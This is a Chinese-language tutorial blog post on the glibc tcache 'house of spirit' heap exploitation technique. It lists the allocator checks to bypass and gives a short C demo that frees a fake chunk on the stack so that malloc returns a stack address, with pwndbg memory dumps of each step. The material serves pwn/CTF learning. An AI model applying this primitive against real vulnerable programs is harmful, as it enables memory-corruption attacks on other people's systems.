Tcache Attack中的house of spirit(基础)
附件下载:
链接:https://pan.baidu.com/s/1Obl1tx62mb6jnsuZ9D3mBg
提取码:udtl
–来自百度网盘超级会员V3的分享
前言
tcache中的house of spirit和fastbi中的house of spirit相似。
回顾一下fastbin_attack中的house of spirit:
House of Spirit的利用关键在于能够覆盖一个堆指针变量(指向malloc_data),让其指向可以控制的区域。
来看一下它的利用思路:
- 首先需要伪造一个堆块,伪造堆块时需要注意绕过之后的五个检测。
- 覆盖堆指针指向上一步伪造的堆块
- 释放堆块,将伪造的堆块放入fastbin的单链表里面(需要绕过检测)
- 申请堆块,将刚才释放的堆块申请出来,最终可以使得向目标区域中写入数据,以达到控制内存的目的。
下面是五个检测,需要绕过:
- fake chunk的ISMMAP位不能为1,因为free时,如果是mmap的chunk,会单独处理。
- fake chunk地址需要对齐,MALLOC_ALIGN_MASK
- fake chunk的size大小需要满足对应的fastbin的需求,同时也得对齐。
- fake chunk的next chunk的大小不能小于2*SIZE_SZ,同时也不能大于av->system_mem。
- fake chunk对应的fastbin链表头部不能是该fake chunk,即不能构成double free的情况。
tcache_house_of_spirit
由于tcache_put函数几乎没有检查,所以tcache中的house_of_spirit的检测机制相较于fastbin中的要少。因此构造fake tcache chunk内存时需要绕过的检查更加宽松,具体如下:
- fake chunk的size在tcache的范围中(64位程序中是32字节到410字节),且其ISMMAP位不为1
- fake chunk的地址对齐
- 无需构造next chunk的size(无需构造fake_chunk)
- 无需考虑double free的情况,因为free堆块到tcache中的时候不会进行这些检查
Demo
示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| #include <stdio.h> #include <stdlib.h>
int main() { malloc(1); unsigned long long *a; unsigned long long fake_chunks[10]; fprintf(stderr, "fake_chunks[1] 在 %p\n", &fake_chunks[1]); fprintf(stderr, "fake_chunks[1] 改成 0x40 \n"); fake_chunks[1] = 0x40; fprintf(stderr, "把 fake_chunks[2] 的地址赋给 a, %p.\n", &fake_chunks[2]); a = &fake_chunks[2]; fprintf(stderr, "free 掉 a\n"); free(a); fprintf(stderr, "再去 malloc(0x30),在可以看到申请来的结果在: %p\n", malloc(0x30)); fprintf(stderr, "Finish\n"); return 0; }
|
![image-20230815103917720](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230815103917720.png)
pwngdb调试
首先在代码第8行下断点,执行程序,观察内存情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| pwndbg> x/120gx 0x601000 0x601000: 0x0000000000000000 0x0000000000000251 #tcache_perthread_struct ......(省略内容为空) 0x601250: 0x0000000000000000 0x0000000000000021 #chunk1 0x601260: 0x0000000000000000 0x0000000000000000 0x601270: 0x0000000000000000 0x0000000000020d91 #top_chunk ......(省略内容为空) 0x6013b0: 0x0000000000000000 0x0000000000000000 pwndbg> info local a = 0x0 fake_chunks = {9, 140737351874144, 140737488346824, 1, 1, 4196141, 140737351932320, 0, 4196064, 4195568}
pwndbg> x/16gx &fake_chunks 0x7fffffffde50: 0x0000000000000009 0x00007ffff7dd7660 #fake_chunk 0x7fffffffde60: 0x00007fffffffdec8 0x0000000000000001 0x7fffffffde70: 0x0000000000000001 0x000000000040072d 0x7fffffffde80: 0x00007ffff7de59a0 0x0000000000000000 0x7fffffffde90: 0x00000000004006e0 0x00000000004004f0 0x7fffffffdea0: 0x00007fffffffdf90 0x0000000000000000 0x7fffffffdeb0: 0x00000000004006e0 0x00007ffff7a05b97 0x7fffffffdec0: 0x0000002000000000 0x00007fffffffdf98
|
然后在第13行下断点,继续调试:
1 2 3 4 5 6 7 8 9 10
| pwndbg> x/16gx &fake_chunks 0x7fffffffde50: 0x0000000000000009 0x0000000000000040 #修改这里 0x7fffffffde60: 0x00007fffffffdec8 0x0000000000000001 0x7fffffffde70: 0x0000000000000001 0x000000000040072d 0x7fffffffde80: 0x00007ffff7de59a0 0x0000000000000000 0x7fffffffde90: 0x00000000004006e0 0x00000000004004f0 0x7fffffffdea0: 0x00007fffffffdf90 0x00007fffffffde60 0x7fffffffdeb0: 0x00000000004006e0 0x00007ffff7a05b97 0x7fffffffdec0: 0x0000002000000000 0x00007fffffffdf98
|
继续执行,把fake_chunk_data的地址赋值到a指针,对代码第15行下断,继续调试:
1 2 3 4 5 6 7 8 9 10 11 12
| pwndbg> x/16gx &fake_chunks 0x7fffffffde50: 0x0000000000000009 0x0000000000000040 0x7fffffffde60: 0x00007fffffffdec8 0x0000000000000001 0x7fffffffde70: 0x0000000000000001 0x000000000040072d 0x7fffffffde80: 0x00007ffff7de59a0 0x0000000000000000 0x7fffffffde90: 0x00000000004006e0 0x00000000004004f0 0x7fffffffdea0: 0x00007fffffffdf90 0x00007fffffffde60 0x7fffffffdeb0: 0x00000000004006e0 0x00007ffff7a05b97 0x7fffffffdec0: 0x0000002000000000 0x00007fffffffdf98 pwndbg> info local a = 0x7fffffffde60 fake_chunks = {9, 64, 140737488346824, 1, 1, 4196141, 140737351932320, 0, 4196064, 4195568}
|
可以观察到,a此时指向fake_chunks_data。
接下来对fake_chunks进行free,下断之后执行观察:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| pwndbg> tcachebins 0x40 [ 1]: 0x7fffffffde60 ◂— 0x0 fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty
pwndbg> x/120gx 0x601000 0x601000: 0x0000000000000000 0x0000000000000251 #tcache_perthread_struct 0x601010: 0x0000000000010000 0x0000000000000000 #tcachebins中的个数 ......(省略为空) 0x601060: 0x00007fffffffde60 0x0000000000000000 #指向fake_chunk_data ......(省略为空) 0x601250: 0x0000000000000000 0x0000000000000021 #chunk1 0x601260: 0x0000000000000000 0x0000000000000000 0x601270: 0x0000000000000000 0x0000000000020d91 #top_chunk pwndbg> x/16gx &fake_chunks 0x7fffffffde50: 0x0000000000000009 0x0000000000000040 0x7fffffffde60: 0x0000000000000000 0x0000000000000001 0x7fffffffde70: 0x0000000000000001 0x000000000040072d 0x7fffffffde80: 0x00007ffff7de59a0 0x0000000000000000 0x7fffffffde90: 0x00000000004006e0 0x00000000004004f0 0x7fffffffdea0: 0x00007fffffffdf90 0x00007fffffffde60 0x7fffffffdeb0: 0x00000000004006e0 0x00007ffff7a05b97 0x7fffffffdec0: 0x0000002000000000 0x00007fffffffdf98
|
代码第18行下断点,当我们执行malloc之后,就会控制栈上的地址,继续调试:
![image-20230815111001995](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230815111001995.png)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| pwndbg> x/120gx 0x601000 0x601000: 0x0000000000000000 0x0000000000000251 #tcache_perthread_struct ......(省略内容为空) 0x601250: 0x0000000000000000 0x0000000000000021 #chunk1 0x601260: 0x0000000000000000 0x0000000000000000 0x601270: 0x0000000000000000 0x0000000000020d91 #top_chunk
pwndbg> info local a = 0x7fffffffde60 fake_chunks = {9, 64, 0, 1, 1, 4196141, 140737351932320, 0, 4196064, 4195568}
pwndbg> x/16gx &fake_chunks 0x7fffffffde50: 0x0000000000000009 0x0000000000000040 #我们现在可以控制这里 0x7fffffffde60: 0x0000000000000000 0x0000000000000001 0x7fffffffde70: 0x0000000000000001 0x000000000040072d 0x7fffffffde80: 0x00007ffff7de59a0 0x0000000000000000 0x7fffffffde90: 0x00000000004006e0 0x00000000004004f0 0x7fffffffdea0: 0x00007fffffffdf90 0x00007fffffffde60 0x7fffffffdeb0: 0x00000000004006e0 0x00007ffff7a05b97 0x7fffffffdec0: 0x0000002000000000 0x00007fffffffdf98
|
我们现在可以控制栈上的内存地址。
![image-20230815111422841](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230815111422841.png)